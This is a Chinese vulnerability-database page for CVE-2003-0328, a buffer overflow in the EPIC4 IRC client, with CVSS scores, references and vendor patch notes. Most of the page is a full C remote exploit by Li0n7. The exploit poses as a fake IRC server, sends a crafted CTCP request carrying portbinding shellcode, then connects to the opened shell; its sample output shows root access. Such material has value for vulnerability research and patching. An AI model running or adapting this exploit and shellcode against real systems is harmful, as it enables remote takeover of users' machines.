CVE-2003-0328
CVSS7.5
发布时间 :2003-06-09 00:00:00
修订时间 :2008-09-05 16:34:03
NMCOES    

[原文]EPIC IRC Client (EPIC4) pre2.002, pre2.003, and possibly later versions, allows remote malicious IRC servers to cause a denial of service (crash) and possibly execute arbitrary code via a CTCP request from a large nickname, which causes an incorrect length calculation.


[CNNVD]Epic CTCP Nickname Server Message缓冲区溢出漏洞(CNNVD-200306-050)

        EPIC IRC Client (EPIC4) pre2.002, pre2.003,和可能的更新版本存在漏洞。远程恶意IRC服务器借助超大昵称的CTCP请求导致服务拒绝(崩溃)并可能执行任意代码,该漏洞可以导致不正确长度计算。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:epic:epic4:pre2.003
cpe:/a:epic:epic4:pre2.002

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0328
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0328
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200306-050
(官方数据源) CNNVD

- 其它链接及资源

ftp://ftp.prbh.org/pub/epic/patches/alloca_underrun-patch-1
(VENDOR_ADVISORY)  CONFIRM  ftp://ftp.prbh.org/pub/epic/patches/alloca_underrun-patch-1
http://www.redhat.com/support/errata/RHSA-2003-342.html
(UNKNOWN)  REDHAT  RHSA-2003:342
http://www.debian.org/security/2003/dsa-399
(UNKNOWN)  DEBIAN  DSA-399
http://www.debian.org/security/2003/dsa-306
(UNKNOWN)  DEBIAN  DSA-306

- 漏洞信息

Epic CTCP Nickname Server Message缓冲区溢出漏洞
高危 边界条件错误
2003-06-09 00:00:00 2005-10-20 00:00:00
远程  
        EPIC IRC Client (EPIC4) pre2.002, pre2.003,和可能的更新版本存在漏洞。远程恶意IRC服务器借助超大昵称的CTCP请求导致服务拒绝(崩溃)并可能执行任意代码,该漏洞可以导致不正确长度计算。
        

- 公告与补丁

        Debian has released an advisory (DSA 399-1) to address this issue. Please see the attached advisory for details on obtaining and applying fixes.
        Red Hat has released a security advisory (RHSA-2003-342) that includes fixes to address this issue. Users are advised to upgrade as soon as possible.
        The vendor has released a patch.
        Fixes:
        Epic Epic4 pre2.002
        
        Epic Epic4 pre2.003
        
        Epic Epic4 1.0.1
        
        Epic Epic4 1.1.10
        
        Epic Epic4 1.1.11
        
        Epic Epic4 1.1.2 .20020219
        
        Epic Epic4 1.1.3
        
        Epic Epic4 1.1.4
        
        Epic Epic4 1.1.5
        
        Epic Epic4 1.1.6
        
        Epic Epic4 1.1.7 .20020907
        
        Epic Epic4 1.1.7
        

- 漏洞信息 (23366)

Epic 1.0.1/1.0.x CTCP Nickname Server Message Buffer Overrun Vulnerability (EDBID:23366)
linux remote
2003-11-10 Verified
0 Li0n7
N/A [点击下载]
source: http://www.securityfocus.com/bid/8999/info

A remotely exploitable buffer overrun has been reported in Epic. This issue may reportedly be exploited by a malicious server that supplies an overly long nickname in a CTCP messages, potentially allowing for execution of arbitrary code in the context of the client user. It may be also be possible for a malicious client to send such a message, but it is likely that the server will limit the length.

/* EPIC4 remote client-side stack-based overflow
 * by Li0n7 - Li0n7[at]voila[dot]fr
 *
 * EPIC4 versions later than pre2.003 are prone to a remotly exploitable
 * stack-based overflow in send_ctcp() (src/ctcp.c). It occurs when
 * strlen(to) is greater than IRCD_BUFFER_SIZE-12, then alloca(), that
 * doesn't perform any boundary checking, will return a negative pointer
 * As a matter of fact, snprintf is called with a negative value as
 * maximum data lenght to write at *putbuf2 address (pointing to somewhere
 * inside the stack). Since we can control the content of the buffer written
 * at *putbuf2 address without any boundary checking, we can easily execute
 * arbitrary code.
 *
 * This little proof-of-concept code demonstrates the exploitation of the
 * bug discussed here: http://www.securitytracker.com/alerts/2003/Nov/1008131.html
 *
 * This exploit works as a fake IRC server, waiting for connection and then
 * trying to take advantage of the vulnerabilty by sending a specially CTCP
 * request crafted like this: [NOP...SHELLCODE] PRIVMSG a: \001PING [RET]\001\r\n
 * This code needs a few changes to work as a bouncer and more targets to be
 * really efficient.
 *
 * usage: %s [-p PORT][-t TARGET][-f FILE][-r RET][-v]
 *      -p: wait for connection on port <PORT>
 *      -t: choose the target among the platforms available
 *      -f: use <FILE> datas as welcome message
 *      -r: use <RET> as return address
 *
 *
 *$ ./epic4-exp -p 6667 -t 0 -v
 *[+] Setting up a fake IRC server...
 *[+] Awaiting connection on port 6667
 *[!] Connection established with 127.0.0.1
 *
 *[127.0.0.1] USER request received.
 *[127.0.0.1] NICK request received.
 *[127.0.0.1] Fake replies sent.
 *[127.0.0.1] Ping sent.
 *[127.0.0.1] Looking up client version...
 *[127.0.0.1] Client version: ircII EPIC4pre2.002 Linux 2.4.20 - Accept no limitations.
 *[127.0.0.1] Welcome message sent.
 *[127.0.0.1] Building evil string to send (using ret '0xbfffd06b')...
 *[127.0.0.1] Evil CTCP request sent.
 *
 *[+] Let's rock on!
 *Linux li0n7 2.4.20 #2 Mon Mar 17 22:02:15 PST 2003 i686 unknown
 *uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
 *
 */





#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <errno.h>

#define D_BACK       26112
#define D_RET        0xbfffd06b
#define D_PORT       6667

#define HOSTNAME     ": NOTICE AUTH :*** Looking up your hostname...\r\n"
#define IDENT        ": NOTICE AUTH :*** Checking Ident\r\n"
#define HOST_FOUND   ": NOTICE AUTH :*** Found your hostname\r\n"
#define PING         "PING :571503427\r\n"

#define BUFFERSIZE   602
#define SIZE         1024

char shellcode[] = /* bighawk 78 bytes portbinding shellcode (26112) */

"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
"\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10"
"\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1"
"\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89"
"\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e"
"\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\xb0\x0b\xcd\x80";


int back_connection(long host);
char * build(char *host);
char * build_welcome_mes(char *host,char *version);
long resolve_host(u_char *host_name);
void send_mes(int fd,char *host);
void wait_connection(int port,char *buffer);
void die(char *argv);

unsigned int check_version = 0;
unsigned char welcome[128];
unsigned long ret_addr;

struct os_ret_addr
{
      int num;
      char *plat;
      long ret;
};

struct os_ret_addr exp_os[]=
{
      {0,"slack 9.0",0xbfffd06b},
      {0,NULL,0}
};

int
main(int argc,char *argv[])
{
      int i, option, port = D_PORT;
      long host = 0;
      char * option_list = "f:p:r:t:v", buffer[SIZE+1];

      opterr = 0;
      memset(welcome,0,128);

      if (argc < 2) die(argv[0]);

      while((option = getopt(argc,argv,option_list)) != -1)
          switch(option)
          {
              case 'f':
                  strncpy(welcome,optarg,sizeof(welcome)-1);
                  welcome[sizeof(welcome)-1] = '\0';
                  break;
              case 'p':
                  port = atoi(optarg);
                  if(port > 65535 || port < 0) exit(-1);
                  break;
              case 'r':
                  ret_addr = atol(optarg);
                  if(ret_addr > 0xbfffffff || ret_addr < 0x00000000) exit(0);
                  break;
              case 't':
                  for(i=0; exp_os[i].plat != NULL; i++)
                  if(atoi(optarg) > i || atoi(optarg) < 0)
                  {
                      fprintf(stderr," Platforms supported are:\n");
                      for(i=0; exp_os[i].plat != NULL; i++)
                          fprintf(stderr," num: %i - %s - 0x%x\n",i,exp_os[i].plat,exp_os[i].ret);
                          exit(0);
                  }
                  ret_addr = exp_os[atoi(optarg)].ret;
                  break;
              case 'v':
                  check_version = 1;
                  break;
              case '?':
                  fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
                  die(argv[0]);
          }

      wait_connection(port,buffer);
      return 0;
}

char
*build(char *host)
{
      char *buffer,*ptr,*request,*ret;
      int i;
      unsigned long *addr_ptr;

      fprintf(stdout,"[%s] Building evil string to send (using ret \'0x%x\')...\n",host,ret_addr);

      buffer = (char *)malloc(BUFFERSIZE+1);
      request = (char *)malloc(SIZE+1);
      ret = (char *)malloc(256);

      if(!buffer || !request || !ret)
      {
          fprintf(stderr,"[-] Can't allocate memory,exiting...\n");
          exit(0);
      }

      ptr = buffer;
      memset(ptr,0x90,BUFFERSIZE);
      ptr += 500-strlen(shellcode);
      for(i=0;i<strlen(shellcode);i++)
          *ptr++ = shellcode[i];
      ptr += 102;
      *ptr = 0x0;

      ptr = ret;
      addr_ptr = (long *)ptr;
      for(i=0;i<151;i+=4)
         *(addr_ptr++) = ret_addr;
      ptr = (char *)addr_ptr;
      *ptr = 0x0;

      snprintf(request,SIZE,":%s!x PRIVMSG a: %cPING %s%c\r\n",buffer,0x01,ret,0x01);
      return request;
}

int
back_connection(long host)
{
      struct sockaddr_in s;
      u_char sock_buf[4096];
      fd_set fds;
      int fd,size;
      char *command="/bin/uname -a ; /usr/bin/id;\n";

      fd = socket(AF_INET, SOCK_STREAM, 0);
      if (fd < 0)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          exit(0);
      }

      s.sin_family = AF_INET;
      s.sin_port   = htons(D_BACK);
      s.sin_addr.s_addr = host;

      if (connect(fd, (struct sockaddr *)&s, sizeof(struct sockaddr)) == -1)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          close(fd);
          exit(0);
      }

      fprintf(stdout, "\n[+] Let's rock on!\n");

      size = send(fd, command, strlen(command), 0);
      if(size < 0)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          close(fd);
          exit(0);
      }

      for (;;)
      {
          FD_ZERO(&fds);
          FD_SET(0, &fds);
          FD_SET(fd, &fds);

          if (select(255, &fds, NULL, NULL, NULL) == -1)
          {
              fprintf(stderr,"[-] %s\n",strerror(errno));
              close(fd);
              exit(0);
          }

          memset(sock_buf, 0, sizeof(sock_buf));

          if (FD_ISSET(fd, &fds))
          {
              if (recv(fd, sock_buf, sizeof(sock_buf), 0) == -1)
              {
                  fprintf(stderr, "[-] Connection closed by remote host,exiting...\n");
                  close(fd);
                  exit(0);
              }

              fprintf(stderr, "%s", sock_buf);
          }

          if (FD_ISSET(0, &fds))
          {
              read(0, sock_buf, sizeof(sock_buf));
              write(fd, sock_buf, strlen(sock_buf));
          }
      }
      return 0;
}

char *
build_welcome_mes(char *host,char *version)
{
      FILE *fd;
      char *buffer,*file_buffer;

      buffer = (char *)malloc(1024);
      file_buffer = (char *)malloc(512);

      if(!buffer)
      {
          fprintf(stderr,"[-] Can't allocate memory,exiting...\n");
          exit(0);
      }

      if(strlen(welcome) > 0)
      {
          fd = fopen(welcome,"r");
          if(fd < 0)
          {
              fprintf(stderr,"[-] %s\n",strerror(errno));
              exit(0);
          }
          memset(buffer,0,1024);
          while(1)
          {
              if(fgets(file_buffer,512,fd) == NULL) break;
              strncat(buffer,file_buffer,1021);

          }
          fclose(fd);
          strcat(buffer,"\r\n");
      }else{
          snprintf(buffer,1024,": NOTICE AUTH :*** Welcome dude\n"
                               ": NOTICE AUTH :*** Your host is %s, running client %s\n"
                               ": NOTICE AUTH :*** This server was created in the past\n"
                               ": NOTICE AUTH :*** There are 1 users and 0 services on 0 servers\n"
                               ": NOTICE AUTH :*** I have 1 clients and 0 servers\r\n",host,version);
      }
      return buffer;
}

void
send_mes(int fd,char *host)
{
      int size;
      char buffer[1024],data[1024],request[512],version[512];
      char *ptr;

      size = send(fd,HOSTNAME,strlen(HOSTNAME),0);
      if(size < 0)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          exit(0);
      }
      sleep(1);

      size = send(fd,IDENT,strlen(IDENT),0);
      if(size < 0)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          exit(0);
      }
      sleep(1);

      size = send(fd,HOST_FOUND,strlen(HOST_FOUND),0);
      if(size < 0)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          exit(0);
      }
      sleep(1);

      fprintf(stdout,"[%s] Fake replies sent.\n",host);

      size = send(fd,PING,strlen(PING),0);
      if(size < 0)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          exit(0);
      }

      fprintf(stdout,"[%s] Ping sent.\n",host);

      size = read(fd,data,1024);
      if(strstr(data,"PONG"))
      {
          if(check_version)
          {
              memset(version,0,512);
              memset(request,0,512);

              fprintf(stdout,"[%s] Looking up client version...\n",host);

              sprintf(request,":x!x PRIVMSG %s: %cVERSION%c\n",host,0x01,0x01);

              size = send(fd,request,strlen(request),0);
              if(size < 0)
              {
                  fprintf(stderr,"[-] %s\n",strerror(errno));
                  exit(0);
              }
              memset(data,0,1024);
              while(1)
              {
                  size = read(fd,data,1024);
                  if((ptr = strstr(data,"VERSION ")) != NULL)
                  {
                      memset(version,0,512);
                      strncpy(version,ptr+8,sizeof(version)-1);
                      version[sizeof(version)-1] = '\0';
                      fprintf(stdout,"[%s] Client version: %s",host,version);
                      sleep(3);
                      break;
                  }
              }
          }

          strncpy(buffer,build_welcome_mes(host,version),1023);
          buffer[1023] = '\0';
          size = send(fd,buffer,1024);
          fprintf(stdout,"[%s] Welcome message sent.\n",host);
          sleep(1);

          memset(buffer,0,1024);
          strncpy(buffer,build(host),1023);
          buffer[1023] = '\0';
          size = send(fd,buffer,1024);
          sleep(1);

          fprintf(stdout,"[%s] Evil CTCP request sent.\n",host);
      }

      return;
}

void
wait_connection(int port,char *buffer)
{
      struct sockaddr_in s;
      int size, fd, fd2, r;
      char data[1024], nick[512], user[512];
      char *ptr;
      long host = 0;

      memset(data,0,1024);

      fprintf(stdout,"[+] Setting up a fake IRC server...\n");

      fd = socket(AF_INET,SOCK_STREAM,0);
      if(fd < 0)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          exit(0);
      }

      s.sin_port = htons(port);
      s.sin_addr.s_addr = 0;
      s.sin_family = AF_INET;

      bind(fd,(struct sockaddr *) &s,sizeof(s));
      listen(fd,1);
      size = sizeof(s);

      fprintf(stdout,"[+] Awaiting connection on port %i\n",port);

      while(1)
      {
          fd2 = accept(fd,(struct sockaddr *) &s, &size);
          fprintf(stdout,"[!] Connection established with %s\n\n",inet_ntoa(s.sin_addr));

          if(!fork())
          {
              close(fd);
              while(1)
              {
                  memset(data,0,1024);
                  r = read(fd2,data,1024);
                  if((ptr = strstr(data,"USER ")) != NULL)
                  {
                      memset(user,0,512);
                      strncpy(user,ptr+5,sizeof(user)-1);
                      user[sizeof(user)-1] = '\0';
                      fprintf(stdout,"[%s] USER request received.\n",inet_ntoa(s.sin_addr));
                  }

                  if((ptr = strstr(data,"NICK ")) != NULL)
                  {
                      memset(nick,0,512);
                      strncpy(nick,ptr+5,sizeof(nick)-1);
                      nick[sizeof(nick)-1] = '\0';
                      fprintf(stdout,"[%s] NICK request received.\n",inet_ntoa(s.sin_addr));
                  }

                  if((strlen(nick) > 0) && (strlen(user) > 0)) break;
              }
              send_mes(fd2,inet_ntoa(s.sin_addr));
              back_connection(host);
          }
          close(fd2);
      }
      return;
}

long resolve_host(u_char *host_name)
{
      struct in_addr addr;
      struct hostent *host_ent;

      addr.s_addr = inet_addr(host_name);
      if (addr.s_addr == -1)
      {
          host_ent = gethostbyname(host_name);
          if (!host_ent) return(0);
          memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
      }

      return(addr.s_addr);
}

void
die(char *argv)
{
      fprintf(stderr,"   remote exploit for EPIC4 < pre2.003 by Li0n7@voila.fr\n");
      fprintf(stderr,"   vulnerability reported by Stuart Moore <smoore@securityglobal.net>\n");
      fprintf(stderr,"   usage: %s [-p PORT][-t TARGET][-f FILE][-r RET][-v]\n",argv);
      fprintf(stderr,"\t -p: wait for connection on port <PORT>\n");
      fprintf(stderr,"\t -t: choose the target among the platforms available\n");
      fprintf(stderr,"\t -f: use <FILE> datas as welcome message\n");
      fprintf(stderr,"\t -r: use <RET> as return address\n\n");
      exit(0);
}

/* A poil! */
		

- 漏洞信息

11826
EPIC IRC Client Large Nickname CTCP Request Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2003-05-09 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Epic CTCP Nickname Server Message Buffer Overrun Vulnerability
Boundary Condition Error 8999
Yes No
2003-11-10 12:00:00 2009-07-12 12:56:00
Discovery is credited to Jeremy Nelson.

- 受影响的程序版本

Epic Epic4 1.1.11
Epic Epic4 1.1.10
Epic Epic4 1.1.7 .20020907
Epic Epic4 1.1.7
Epic Epic4 1.1.6
Epic Epic4 1.1.5
Epic Epic4 1.1.4
Epic Epic4 1.1.3
Epic Epic4 1.1.2 .20020219
Epic Epic4 1.0.1
+ RedHat Linux 9.0 i386
+ RedHat Linux 8.0 i386
+ RedHat Linux 7.3 i386
+ Slackware Linux 9.0
+ Slackware Linux 8.1
Epic Epic4 pre2.003
Epic Epic4 pre2.002

- 漏洞讨论

A remotely exploitable buffer overrun has been reported in Epic. This issue may reportedly be exploited by a malicious server that supplies an overly long nickname in a CTCP messages, potentially allowing for execution of arbitrary code in the context of the client user. It may be also be possible for a malicious client to send such a message, but it is likely that the server will limit the length.

- 漏洞利用

Exploit code has been made available:

- 解决方案

Debian has released an advisory (DSA 399-1) to address this issue. Please see the attached advisory for details on obtaining and applying fixes.

Red Hat has released a security advisory (RHSA-2003-342) that includes fixes to address this issue. Users are advised to upgrade as soon as possible.

The vendor has released a patch.

Fixes:


Epic Epic4 pre2.002

Epic Epic4 pre2.003

Epic Epic4 1.0.1

Epic Epic4 1.1.10

Epic Epic4 1.1.11

Epic Epic4 1.1.2 .20020219

Epic Epic4 1.1.3

Epic Epic4 1.1.4

Epic Epic4 1.1.5

Epic Epic4 1.1.6

Epic Epic4 1.1.7 .20020907

Epic Epic4 1.1.7

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站